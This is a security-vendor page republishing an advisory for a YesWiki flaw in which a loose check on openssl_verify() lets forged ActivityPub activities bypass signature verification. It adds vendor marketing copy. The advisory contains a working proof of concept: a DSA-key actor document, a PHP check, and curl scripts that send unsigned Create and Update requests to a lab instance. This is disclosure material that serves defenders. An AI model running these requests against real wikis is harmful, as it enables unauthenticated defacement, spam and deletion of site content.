GHSA-mv28-wj57-f57g is a high-severity (CVSS 8.2) CWE-347 vulnerability in yeswiki/yeswiki. O3 Security confirms whether GHSA-mv28-wj57-f57g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mv28-wj57-f57g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
|---|---|---|
1 | signature is valid | false |
0 | signature is invalid | true ✓ |
-1 | the verify call itself failed (internal error) | false ❌ |
false | input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch — see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
}
}
The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
-
Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:
{ "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } } -
Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: <RFC1123 date> Digest: SHA-256=<base64(sha256(body))> Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw==" {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"<actor URL>", "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}} -
YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped. -
Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum. -
processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: false
Verify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' — created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Update",
"id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
"content": "this row was modified via the SAME bypass",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$UPDATE_ACT" \
-w ' HTTP %{http_code}\n'
Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | ≥ 4.6.2&&< 4.6.6 | 4.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mv28-wj57-f57g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mv28-wj57-f57g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mv28-wj57-f57g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mv28-wj57-f57g in your dependencies?
O3 detects GHSA-mv28-wj57-f57g across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.